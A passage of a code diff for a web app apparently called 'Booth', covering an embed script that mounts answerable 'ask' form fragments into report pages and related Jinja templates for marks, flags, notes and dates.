/* r2b D3 — the operator's theme reaches inside ("theme toggle reaches
|
||||
inside"): light when the OS asks and dark is not forced, or when light
|
||||
is forced — the Booth sheet's own rule, carried by `data-bk-theme` on
|
||||
each fragment (bkTheme, below), never by the host page's <html>. */
|
||||
"@media (prefers-color-scheme: light){.bk-ask:not([data-bk-theme=dark]){" + BK_LIGHT + "}}",
|
||||
".bk-ask[data-bk-theme=light]{" + BK_LIGHT + "}",
|
||||
".bk-ask{margin:1.1rem 0;padding:.9rem 1rem;border:1px solid rgba(128,140,160,.34);",
|
||||
"border-top:2px solid var(--bk-open);border-radius:8px;background:rgba(128,140,160,.07);",
|
||||
"font:15px/1.55 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif}",
|
||||
".bk-ask.bk-done{border-top-color:var(--bk-done)}",
|
||||
".bk-ask.bk-skip{border-top-color:var(--bk-skip)}",
|
||||
".bk-ask-tag{display:inline-block;margin-bottom:.6rem;padding:2px 7px;border:1.5px solid currentColor;border-radius:3px;",
|
||||
"font:600 10.5px/1.3 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase;color:var(--bk-open-text)}",
|
||||
".bk-ask.bk-done .bk-ask-tag{color:var(--bk-done-text)}",
|
||||
".bk-ask.bk-skip .bk-ask-tag{color:var(--bk-skip)}",
|
||||
".bk-ask-title{margin:0 0 .15rem;font:500 11px/1.4 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase;opacity:.62}",
|
||||
".bk-ask-prompt{margin:0 0 .6rem;font-weight:600}",
|
||||
".bk-ask-opts{display:flex;flex-direction:column;gap:.35rem}",
|
||||
".bk-ask-opt{display:flex;align-items:flex-start;gap:.6rem;padding:.55rem .7rem;cursor:pointer;",
|
||||
"border:1px solid rgba(128,140,160,.3);border-radius:8px;background:rgba(128,140,160,.06)}",
|
||||
".bk-ask-opt:hover{border-color:rgba(128,140,160,.62)}",
|
||||
".bk-ask-opt:has(input:checked){border-color:var(--bk-accent-line);background:var(--bk-accent-soft)}",
|
||||
".bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:var(--bk-accent)}",
|
||||
".bk-ask-lab{display:flex;flex-direction:column;gap:.1rem;min-width:0}",
|
||||
".bk-ask-det{font-size:.82rem;opacity:.68}",
|
||||
".bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .65rem;",
|
||||
"font:inherit;font-size:.9rem;color:inherit;background:rgba(128,140,160,.09);",
|
||||
"border:1px solid rgba(128,140,160,.34);border-radius:8px;resize:vertical}",
|
||||
".bk-ask-notes:focus{outline:2px solid var(--bk-accent);outline-offset:1px}",
|
||||
/* the primary — green, because submitting is what arms the answer */
|
||||
".bk-ask-go{margin-top:.75rem;cursor:pointer;font:600 13px/1 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"padding:.7rem 1.1rem;border-radius:8px;border:1px solid var(--bk-accent);",
|
||||
"background:var(--bk-accent);color:var(--bk-on-accent)}",
|
||||
".bk-ask-go:hover{filter:brightness(1.06)}",
|
||||
".bk-ask-was{margin:.15rem 0 .55rem;font-size:.86rem;opacity:.8}",
|
||||
".bk-ask-was b{opacity:1}",
|
||||
".bk-ask-err{color:var(--bk-err);font-size:.86rem}",
|
||||
"@media print{.bk-ask{break-inside:avoid}}"
|
||||
].join("");
|
||||
|
||||
/* The anchor attributes. `data-booth-mark` is canonical - U2 made an ask one
|
||||
shape of mark - and `data-booth-ask` is kept because two of the four live
|
||||
verbatim booths spell it that way, in the operator's own reports. */
|
||||
var MAIN_SEL = "[data-booth-mark],[data-booth-ask]";
|
||||
var SUBMIT_SEL = "[data-booth-mark-submit],[data-booth-ask-submit]";
|
||||
var WHOLE = " whole"; // the set member meaning "the whole ask landed here"
|
||||
|
||||
function attr(el, a, b) {
|
||||
var v = el.getAttribute(a);
|
||||
return v === null ? el.getAttribute(b) : v;
|
||||
}
|
||||
|
||||
/* "batch:r1" -> ["batch", "r1"]; "batch" -> ["batch", null]. Split on the
|
||||
FIRST colon: a question key cannot contain one (asks._KEY_RE) and neither
|
||||
can a pick id (asks.valid_stem), so this is unambiguous for everything the
|
||||
payload carries. A flag's id IS `flag:<target>`, which is why the payload
|
||||
carries picks only. */
|
||||
function splitSpec(spec) {
|
||||
var s = (spec || "").trim();
|
||||
var i = s.indexOf(":");
|
||||
if (i < 0) return [s, null];
|
||||
return [s.slice(0, i).trim(), s.slice(i + 1).trim() || null];
|
||||
}
|
||||
|
||||
function boothName() {
|
||||
var tag = document.querySelector("script[data-booth]");
|
||||
if (tag) return tag.getAttribute("data-booth");
|
||||
var parts = location.pathname.split("/"); // ["", "b", "<name>", ...]
|
||||
if (parts.length < 3 || parts[1] !== "b" || !parts[2]) return null;
|
||||
try { return decodeURIComponent(parts[2]); } catch (e) { return parts[2]; }
|
||||
}
|
||||
|
||||
function mount(el, html) {
|
||||
/* beforeend, NOT replaceWith: the author's element and its contents survive
|
||||
and the fragment lands inside it. `<div class="ask" data-booth-ask="...">
|
||||
<h3>heading</h3>` is live markup today, and the regex it replaced ate
|
||||
both the wrapper class and the heading's framing.
|
||||
|
||||
Returns the elements it actually inserted. The chip needs to jump to a
|
||||
fragment WE mounted, not to whatever the document happens to have with a
|
||||
matching id — see chipTarget. */
|
||||
var before = el.children.length;
|
||||
el.insertAdjacentHTML("beforeend", html);
|
||||
return Array.prototype.slice.call(el.children, before);
|
||||
}
|
||||
|
||||
function styles() {
|
||||
if (document.getElementById("booth-embed-css")) return;
|
||||
var st = document.createElement("style");
|
||||
st.id = "booth-embed-css";
|
||||
st.textContent = CSS;
|
||||
(document.head || document.documentElement).appendChild(st);
|
||||
}
|
||||
|
||||
function favicon(href) {
|
||||
/* The question `_ICON_RE` and its three head-seam siblings were asking of
|
||||
raw text. Same question, asked of a parsed document. */
|
||||
if (!href || document.querySelector('link[rel~="icon"]')) return;
|
||||
var link = document.createElement("link");
|
||||
link.rel = "icon";
|
||||
link.href = href;
|
||||
(document.head || document.documentElement).appendChild(link);
|
||||
}
|
||||
|
||||
function homeChip(href) {
|
||||
var a = document.createElement("a");
|
||||
a.className = "booth-nav-home";
|
||||
a.href = href || "/";
|
||||
a.setAttribute("aria-label", "back to all booths");
|
||||
a.textContent = "‹ all booths";
|
||||
document.body.appendChild(a);
|
||||
}
|
||||
|
||||
function chipTarget(mounted, markId) {
|
||||
/* The earliest IN DOCUMENT ORDER of the elements WE mounted for this mark.
|
||||
Not an id-prefix search over the whole document: a panel pointed out that
|
||||
an author's own `<section id="bk-ask-winner-background">` satisfies any
|
||||
prefix rule — hyphen boundary included — and would hijack the jump. Only
|
||||
elements this script inserted are candidates, which is the identity the
|
||||
deleted `bk-ask-<id>-top` anchor used to guarantee. */
|
||||
var mine = mounted[markId] || [];
|
||||
var first = null;
|
||||
for (var i = 0; i < mine.length; i++) {
|
||||
var el = mine[i];
|
||||
if (!el.id || !document.contains(el)) continue;
|
||||
if (first === null ||
|
||||
(first.compareDocumentPosition(el) & Node.DOCUMENT_POSITION_PRECEDING)) {
|
||||
first = el;
|
||||
}
|
||||
}
|
||||
return first;
|
||||
}
|
||||
|
||||
function asksChip(openIds, mounted) {
|
||||
if (!openIds.length) return;
|
||||
/* A JUMP LINK, not a way out to another page: on a long report the question
|
||||
can be well below the fold and "there is a question waiting" still has to
|
||||
be visible at first paint. */
|
||||
var first = chipTarget(mounted, openIds[0]);
|
||||
var a = document.createElement("a");
|
||||
a.className = "booth-nav-asks";
|
||||
a.href = first ? "#" + first.id : "/b/" + encodeURIComponent(boothName() || "") + "/marks";
|
||||
a.textContent = "? " + openIds.length + " open ask" + (openIds.length === 1 ? "" : "s");
|
||||
document.body.appendChild(a);
|
||||
}
|
||||
|
||||
function reassociate() {
|
||||
/* SCOPED TO OUR OWN FRAGMENTS (`.bk-ask [form]`), deliberately: the Booth
|
||||
does not rewrite attributes on elements the author wrote, even to help.
|
||||
A control bound to its <form> by the HTML5 `form=` attribute resolves its
|
||||
form owner when it is inserted. The fragments go in in VISUAL order, so a
|
||||
question can land before the submit block that carries the <form>.
|
||||
Chromium 151 re-resolves this correctly - measured 2026-09-22, N=3 per
|
||||
condition, with a form-first positive control and a points-at-nothing
|
||||
negative control. The sensitivity floor of that probe is ONE ENGINE, and
|
||||
the failure it would hide is a form the operator fills in whose controls
|
||||
reach no form at all, so the button does nothing and nothing is saved.
|
||||
Three lines, so the engine stops mattering. */
|
||||
var bound = document.querySelectorAll(".bk-ask [form]");
|
||||
for (var i = 0; i < bound.length; i++) {
|
||||
var v = bound[i].getAttribute("form");
|
||||
bound[i].removeAttribute("form");
|
||||
bound[i].setAttribute("form", v);
|
||||
}
|
||||
}
|
||||
|
||||
function hasForm(markId) {
|
||||
/* `form_id` in booth/app.py builds the same string. Kept in step by the
|
||||
fragments themselves: the submit macro emits exactly this id. */
|
||||
return !!document.getElementById(
|
||||
"bk-ask-form-" + markId.replace(/[^A-Za-z0-9_-]/g, "-"));
|
||||
}
|
||||
|
||||
function place(marks) {
|
||||
/* Object.create(null), NOT {} — three times, and it is not style.
|
||||
A mark id and a question key are both `[A-Za-z0-9][A-Za-z0-9._-]*`
|
||||
(asks.valid_stem, asks._KEY_RE), so `toString` and `constructor` are
|
||||
legal in both. Against a plain object, an author writing
|
||||
`data-booth-mark="toString"` — an anchor naming NO mark — gets
|
||||
Object.prototype.toString back, passes the `if (!mark)` guard it was
|
||||
supposed to fail, and throws on `mark.questions.length`. That aborts
|
||||
`place` before the tail, so the page loses EVERY ask, from one typo in
|
||||
the author's own markup. The `placed` set has the mirror bug: inherited
|
||||
`got.constructor` reads as "already placed" and silently drops a real
|
||||
question. Found by a cross-frontier code-review panel. */
|
||||
var by = Object.create(null);
|
||||
for (var i = 0; i < marks.length; i++) by[marks[i].id] = marks[i];
|
||||
var placed = Object.create(null); // id -> {key or WHOLE: true}
|
||||
var submitted = Object.create(null);
|
||||
var mounted = Object.create(null); // id -> [elements this script inserted]
|
||||
|
||||
function note(id, key) {
|
||||
if (!placed[id]) placed[id] = Object.create(null);
|
||||
if (key !== undefined) placed[id][key] = true;
|
||||
}
|
||||
|
||||
function record(id, els) {
|
||||
if (!mounted[id]) mounted[id] = [];
|
||||
for (var n = 0; n < els.length; n++) mounted[id].push(els[n]);
|
||||
}
|
||||
|
||||
// 1. whole / per-question anchors, in DOCUMENT ORDER.
|
||||
var anchors = document.querySelectorAll(MAIN_SEL);
|
||||
for (var a = 0; a < anchors.length; a++) {
|
||||
var el = anchors[a];
|
||||
var spec = splitSpec(attr(el, "data-booth-mark", "data-booth-ask"));
|
||||
var mark = by[spec[0]];
|
||||
if (!mark) continue; // a typo'd id is LEFT ALONE, not blanked
|
||||
if (spec[1] === null) {
|
||||
record(mark.id, mount(el, mark.whole));
|
||||
note(mark.id, WHOLE);
|
||||
if (hasForm(mark.id)) submitted[mark.id] = true;
|
||||
continue;
|
||||
}
|
||||
var q = null;
|
||||
for (var k = 0; k < mark.questions.length; k++) {
|
||||
if (mark.questions[k].key === spec[1]) { q = mark.questions[k]; break; }
|
||||
}
|
||||
if (!q) continue; // names no question: also left alone
|
||||
record(mark.id, mount(el, q.html));
|
||||
note(mark.id, spec[1]);
|
||||
}
|
||||
|
||||
// 2. explicit submit anchors.
|
||||
var subs = document.querySelectorAll(SUBMIT_SEL);
|
||||
for (var s = 0; s < subs.length; s++) {
|
||||
var sel = subs[s];
|
||||
var sid = splitSpec(attr(sel, "data-booth-mark-submit", "data-booth-ask-submit"))[0];
|
||||
var sm = by[sid];
|
||||
if (!sm) continue;
|
||||
/* A BROKEN pick has no submit block — its `submit` is the empty string and
|
||||
its diagnostic lives in `whole`. Mounting nothing here and then marking
|
||||
it placed made the tail skip it, so the "broken ask" box never rendered
|
||||
at the one surface built to show it. Leave the anchor alone, exactly as
|
||||
an anchor naming no mark is left alone, and let the tail mount the
|
||||
diagnostic. */
|
||||
if (sm.error) continue;
|
||||
record(sm.id, mount(sel, sm.submit));
|
||||
note(sm.id);
|
||||
/* ...and only count it submitted if the <form> SURVIVED. An author who
|
||||
puts this anchor inside their own <form> loses ours: the HTML parser
|
||||
drops a nested form element outright. Every control's `form=` would
|
||||
then point at nothing, the tail would not add a fallback because we
|
||||
said it was handled, and the operator would fill the whole thing in and
|
||||
click a button that does nothing. */
|
||||
if (hasForm(sm.id)) submitted[sm.id] = true;
|
||||
}
|
||||
|
||||
// 3. the tail, in PAYLOAD order - `(created, id)`. An ask is never
|
||||
// invisible: an unmarked page gets the whole thing, and a partially
|
||||
// marked one gets every question the author did not place, because a
|
||||
// question the operator cannot see is a question he cannot answer, and
|
||||
// a submission with NOTHING picked is refused outright (400), so a page
|
||||
// showing two of four questions can strand a pick that looks answerable.
|
||||
// (A PARTIAL answer is accepted and recorded — that is deliberate.)
|
||||
var holder = document.createElement("div");
|
||||
for (var m = 0; m < marks.length; m++) {
|
||||
var mk = marks[m];
|
||||
var got = placed[mk.id];
|
||||
var was = holder.children.length;
|
||||
if (!got) {
|
||||
holder.insertAdjacentHTML("beforeend", mk.whole);
|
||||
record(mk.id, Array.prototype.slice.call(holder.children, was));
|
||||
continue;
|
||||
}
|
||||
if (mk.error) continue;
|
||||
if (!got[WHOLE]) {
|
||||
for (var q2 = 0; q2 < mk.questions.length; q2++) {
|
||||
var qq = mk.questions[q2];
|
||||
if (!got[qq.key]) holder.insertAdjacentHTML("beforeend", qq.html);
|
||||
}
|
||||
}
|
||||
if (!submitted[mk.id]) holder.insertAdjacentHTML("beforeend", mk.submit);
|
||||
record(mk.id, Array.prototype.slice.call(holder.children, was));
|
||||
}
|
||||
var tail = document.createDocumentFragment();
|
||||
while (holder.firstChild) tail.appendChild(holder.firstChild);
|
||||
document.body.appendChild(tail);
|
||||
return mounted;
|
||||
}
|
||||
|
||||
/* r2b D3: mark every fragment WE mounted with the operator's stored theme
|
||||
choice (the same localStorage key the Booth's toggle writes — same
|
||||
origin). Absent or unreadable = follow the OS, as before. The host page's
|
||||
own <html> is the author's and is never touched. */
|
||||
var ours = []; // every element this script mounted
|
||||
function bkTheme() {
|
||||
var t = null;
|
||||
try { t = localStorage.getItem("booth.theme"); } catch (e) {}
|
||||
var forced = t === "light" || t === "dark";
|
||||
/* OUR fragments only (heid bug-hunt): an author's own `.bk-ask` in the
|
||||
host page is theirs, and is never marked. */
|
||||
ours.forEach(function (root) {
|
||||
var els = [root].concat(Array.prototype.slice.call(root.querySelectorAll(".bk-ask")));
|
||||
els.forEach(function (el) {
|
||||
if (!el.classList.contains("bk-ask")) return;
|
||||
if (forced) el.setAttribute("data-bk-theme", t); else el.removeAttribute("data-bk-theme");
|
||||
});
|
||||
});
|
||||
}
|
||||
/* A choice made in another tab moves an open report live. */
|
||||
window.addEventListener("storage", function (e) {
|
||||
if (e.key === "booth.theme" || e.key === null) bkTheme();
|
||||
});
|
||||
|
||||
function start() {
|
||||
var name = boothName();
|
||||
if (!name || !document.body) return;
|
||||
styles();
|
||||
// Mounted BEFORE the fetch and from a constant, so a failed or slow fetch
|
||||
// still leaves the operator a way out. That is why the payload carries no
|
||||
// `home` — a value on the wire that nothing reads is a second
|
||||
// representation of one fact, waiting to disagree with the first.
|
||||
homeChip("/");
|
||||
fetch("/b/" + encodeURIComponent(name) + "/embed.json", { credentials: "same-origin" })
|
||||
.then(function (r) { return r.ok ? r.json() : null; })
|
||||
.then(function (data) {
|
||||
if (!data) return;
|
||||
favicon(data.favicon);
|
||||
var mounted = place(data.marks || []);
|
||||
ours = [];
|
||||
Object.keys(mounted).forEach(function (id) { ours = ours.concat(mounted[id]); });
|
||||
bkTheme();
|
||||
reassociate();
|
||||
asksChip(data.open || [], mounted);
|
||||
document.dispatchEvent(new CustomEvent("booth:mounted", { detail: { booth: name } }));
|
||||
})
|
||||
.catch(function () { /* the report is the operator's; a failed fetch costs
|
||||
the chrome, never the page. */ });
|
||||
}
|
||||
|
||||
/* The declared line carries `defer`, but an author may not copy it exactly. */
|
||||
if (document.readyState === "loading") {
|
||||
document.addEventListener("DOMContentLoaded", start);
|
||||
} else {
|
||||
start();
|
||||
}
|
||||
})();
|
||||
@@ -1,56 +1,22 @@
|
||||
{# Self-contained ask fragments injected into a booth's VERBATIM index.html.
|
||||
{# Self-contained ask fragments for a booth's VERBATIM index.html.
|
||||
|
||||
The page is served untouched and carries its own CSS, so nothing here may
|
||||
inherit from base.html: every fragment ships its own scoped `.bk-ask-*`
|
||||
styles (emitted once, by `styles()`), and the palette adapts via
|
||||
prefers-color-scheme rather than borrowing the host page's.
|
||||
inherit from base.html. Since U3 these fragments do not reach the page by
|
||||
string substitution: they are rendered here, handed over
|
||||
`/b/<name>/embed.json`, and MOUNTED INTO THE DOM by `/_booth/embed.js`. The
|
||||
scoped `.bk-ask-*` styles live in that file alongside the code that needs
|
||||
them, which is why this template no longer emits a `styles()` block.
|
||||
|
||||
These macros stay the ONE renderer of an ask fragment. embed.js places what
|
||||
comes back and never builds one.
|
||||
|
||||
Per-question fragments are wired to ONE form with the HTML5 `form=`
|
||||
attribute, so a four-voice report can put each radio group under its own
|
||||
audio block and still submit all four picks in a single POST — which is what
|
||||
audio block and still submit all four picks in a single POST -- which is what
|
||||
the multi-question ask requires. The <form> element itself is empty and
|
||||
lives with the submit block. No JavaScript.
|
||||
lives with the submit block.
|
||||
#}
|
||||
|
||||
{% macro styles() %}
|
||||
<style>
|
||||
.bk-ask{margin:1.1rem 0;padding:.85rem .95rem;border:1px solid rgba(128,140,160,.34);
|
||||
border-top:2px solid #e0b93c;border-radius:9px;background:rgba(128,140,160,.07);
|
||||
font:15px/1.5 ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,sans-serif}
|
||||
.bk-ask.bk-done{border-top-color:#3fae6a}
|
||||
.bk-ask.bk-skip{border-top-color:#6f7c8c}
|
||||
.bk-ask.bk-skip .bk-ask-tag{color:#8a97a6}
|
||||
.bk-ask-tag{display:block;margin-bottom:.5rem;font:700 10px/1 ui-monospace,SFMono-Regular,Menlo,monospace;
|
||||
letter-spacing:.12em;text-transform:uppercase;color:#c9a227}
|
||||
.bk-ask.bk-done .bk-ask-tag{color:#3fae6a}
|
||||
.bk-ask-title{margin:0 0 .15rem;font-size:.72rem;letter-spacing:.07em;text-transform:uppercase;opacity:.62}
|
||||
.bk-ask-prompt{margin:0 0 .6rem;font-weight:600}
|
||||
.bk-ask-opts{display:flex;flex-direction:column;gap:.3rem}
|
||||
.bk-ask-opt{display:flex;align-items:flex-start;gap:.55rem;padding:.45rem .6rem;cursor:pointer;
|
||||
border:1px solid rgba(128,140,160,.3);border-radius:6px;background:rgba(128,140,160,.06)}
|
||||
.bk-ask-opt:hover{border-color:rgba(128,140,160,.62)}
|
||||
.bk-ask-opt:has(input:checked){border-color:#2fa8a0;background:rgba(47,168,160,.13)}
|
||||
.bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:#2fa8a0}
|
||||
.bk-ask-lab{display:flex;flex-direction:column;gap:.1rem;min-width:0}
|
||||
.bk-ask-det{font-size:.8rem;opacity:.68}
|
||||
.bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .6rem;
|
||||
font:inherit;font-size:.9rem;color:inherit;background:rgba(128,140,160,.09);
|
||||
border:1px solid rgba(128,140,160,.34);border-radius:6px;resize:vertical}
|
||||
.bk-ask-go{margin-top:.7rem;cursor:pointer;font:700 12px/1 ui-monospace,SFMono-Regular,Menlo,monospace;
|
||||
letter-spacing:.06em;padding:.6rem 1.1rem;border-radius:6px;border:1px solid #2fa8a0;
|
||||
background:#2fa8a0;color:#08131a}
|
||||
.bk-ask-go:hover{filter:brightness(1.09)}
|
||||
.bk-ask-was{margin:.15rem 0 .55rem;font-size:.84rem;opacity:.8}
|
||||
.bk-ask-was b{opacity:1}
|
||||
.bk-ask-err{color:#d6452a;font-size:.86rem}
|
||||
@media (prefers-color-scheme: light){
|
||||
.bk-ask-tag{color:#8a6d10}
|
||||
.bk-ask-go{color:#fff}
|
||||
}
|
||||
@media print{.bk-ask{break-inside:avoid}}
|
||||
</style>
|
||||
{% endmacro %}
|
||||
|
||||
{# One question's radio group, bound to the shared form by id. #}
|
||||
{% macro question(a, q, form_id, name_url, standalone=False) %}
|
||||
{% set field = 'choice.' ~ q.key if a.multi else 'choice' %}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
{# r2b D1b — a booth's two dates, defined ONCE for the Desk row and the booth
|
||||
header. Created is the day it began (the filesystem's birth time); updated
|
||||
is how recently its CONTENT moved (`landed_at`, the clock "new since you
|
||||
looked" reads). Each is a <time> with its exact stamp as the title.
|
||||
- A date the filesystem cannot give, or the calendar cannot hold, renders
|
||||
NOTHING — never a plausible guess, and never a 500 for the whole Desk.
|
||||
- "Updated" shows whenever it differs from "created" by a minute or more,
|
||||
EITHER way: copied files keep their mtimes while the folder is born now,
|
||||
so content can be older than its booth. Within a minute, one date.
|
||||
- A content clock AHEAD of now (a wrong clock somewhere) is said as its
|
||||
date, never as an age — "updated just now" would be a lie. #}
|
||||
{% macro dates(created_at, landed_at, now) -%}
|
||||
{%- set made = created_at|day(now) if created_at else "" -%}
|
||||
{%- if made %} · <time class="d-made" datetime="{{ created_at|iso }}" title="created {{ created_at|stamp }}">created {{ made }}</time>{% endif -%}
|
||||
{%- set moved = landed_at|day(now) if landed_at else "" -%}
|
||||
{%- if moved and (not made or (landed_at - created_at)|abs >= 60) -%}
|
||||
{%- set age = now - landed_at -%}
|
||||
{%- if age < -60 %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ moved }}</time>
|
||||
{%- else %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ age|ago }}</time>{% endif -%}
|
||||
{%- endif -%}
|
||||
{%- endmacro %}
|
||||
+76
-19
@@ -26,13 +26,18 @@
|
||||
{% set flags = marks | selectattr('shape', 'equalto', 'flag') | rejectattr('error') | list %}
|
||||
<section class="marks">
|
||||
|
||||
{# `picks_only` + `back_view`: the review rail (view.html) includes this panel
|
||||
with `marks` narrowed to the open picks it should offer, and wants only the
|
||||
pick forms, each landing back on the review (`back=view`, R2 C3). ONE
|
||||
renderer of a pick form, whichever page it sits on. #}
|
||||
{% if not picks_only %}
|
||||
{% for a in broken %}
|
||||
<article class="mark mark-note is-broken" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state">⚠ broken</span>
|
||||
<span class="mark-id"><code>{{ a.id }}</code></span>
|
||||
<span class="board-spacer"></span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this mark">×</button>
|
||||
@@ -42,6 +47,7 @@
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% endif %}
|
||||
{% for a in picks %}
|
||||
<article class="mark mark-pick{% if a.answer and a.answer.complete %} is-answered{% elif a.answer %} is-partial{% elif a.error %} is-broken{% endif %}" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
@@ -75,7 +81,7 @@
|
||||
{% endif %}
|
||||
<details class="mark-formwrap"{% if not a.answer %} open{% endif %}>
|
||||
<summary class="mark-change">{% if a.answer %}change answer{% else %}answer{% endif %}</summary>
|
||||
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer">
|
||||
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer" data-inplace>
|
||||
{# The field is still `ask`: inline fragments in reports the operator
|
||||
has already published POST that name, and breaking every landed
|
||||
verbatim report to tidy a form field is not a trade worth making. #}
|
||||
@@ -83,6 +89,7 @@
|
||||
{# On the standalone page, come back HERE — the booth's own page is a
|
||||
verbatim report that cannot show the recorded judgment. #}
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
{% if back_view %}<input type="hidden" name="back" value="view"><input type="hidden" name="f" value="{{ back_view }}">{% endif %}
|
||||
{% for q in a.questions %}
|
||||
{% set field = 'choice.' ~ q.key if a.multi else 'choice' %}
|
||||
{% set qa = a.answer.answers.get(q.key) if (a.answer and a.multi) else a.answer %}
|
||||
@@ -117,25 +124,52 @@
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% for a in notes %}
|
||||
<article class="mark mark-note" id="mark-{{ a.id }}">
|
||||
{% if not picks_only %}
|
||||
{# FLAGS come right after the picks. On the lightbox (`tray` defined) they
|
||||
render as the TRAY: the flagged items in SET order — by tile number, the
|
||||
declared R2 change from the click order below — each the original shown
|
||||
small, blurred if the item is. The standalone marks page has no item
|
||||
records, so it keeps the list, in `(created, id)` order. #}
|
||||
{% if tray is defined %}{% if tray %}
|
||||
{# In the lightbox the tray and the notes FOLD on a narrow screen (R2 C5):
|
||||
a closed <details>, which base.html shows open-and-summary-less above
|
||||
1000px with no script. Below it, the question sits above the set and the
|
||||
tray and notes are one tap away instead of burying it. #}
|
||||
<details class="v-fold">
|
||||
<summary class="v-fold-head">✔ flagged · {{ tray|length }}</summary>
|
||||
<article class="mark mark-flags" id="mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-note">note</span>
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
|
||||
{% else %}<span class="mark-target">on this booth</span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
<span class="mark-when">{{ a.created }}{% if a.by %} · {{ a.by }}{% endif %}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
<span class="mark-id">{{ tray|length }} item{{ '' if tray|length == 1 else 's' }} · in set order</span>
|
||||
</header>
|
||||
<pre class="mark-text">{{ a.text }}</pre>
|
||||
</article>
|
||||
<div class="tray">
|
||||
{% for it in tray %}
|
||||
<a class="tray-item{% if it.blurred %} is-blurred{% endif %}" href="view?f={{ it.url }}" title="{{ it.name }}">
|
||||
{%- if it.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="">{% else %}<span class="tray-kind">{{ it.kind }}</span>{% endif -%}
|
||||
<span class="tray-ord">#{{ "%0*d"|format(ord_width, it.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
|
||||
{% if flags %}
|
||||
</div>
|
||||
</article>
|
||||
</details>
|
||||
{% endif %}
|
||||
{% if orphan_flags %}
|
||||
<article class="mark mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
<span class="mark-id">{{ orphan_flags|length }} on files no longer in this booth</span>
|
||||
</header>
|
||||
<ul class="orphan-flags">
|
||||
{% for m in orphan_flags %}
|
||||
<li><span class="mono">{{ m.target }}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button type="submit" class="mark-x" title="withdraw this flag">×</button>
|
||||
</form></li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</article>
|
||||
{% endif %}
|
||||
{% elif flags %}
|
||||
<article class="mark mark-flags" id="mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-flag">✔ flagged</span>
|
||||
@@ -149,11 +183,34 @@
|
||||
</article>
|
||||
{% endif %}
|
||||
|
||||
{% set fold_notes = tray is defined and notes %}
|
||||
{% if fold_notes %}<details class="v-fold"><summary class="v-fold-head">notes · {{ notes|length }}</summary>{% endif %}
|
||||
{% for a in notes %}
|
||||
<article class="mark mark-note" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-note">note</span>
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
|
||||
{% else %}<span class="mark-target">on this booth</span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
<span class="mark-when">{{ a.created }}{% if a.by %} · {{ a.by }}{% endif %}</span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
</header>
|
||||
<pre class="mark-text">{{ a.text }}</pre>
|
||||
</article>
|
||||
{% endfor %}
|
||||
{% if fold_notes %}</details>{% endif %}
|
||||
|
||||
|
||||
{# The operator volunteering a remark, which before marks had no mechanism at
|
||||
all — this is the direction that was running through chat. #}
|
||||
<form class="mark-add" method="post" action="/b/{{ name_url }}/note">
|
||||
<form class="mark-add" method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<textarea name="text" rows="2" placeholder="a note on this booth, for the session that posted it"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
</section>
|
||||
|
||||
@@ -0,0 +1,122 @@
|
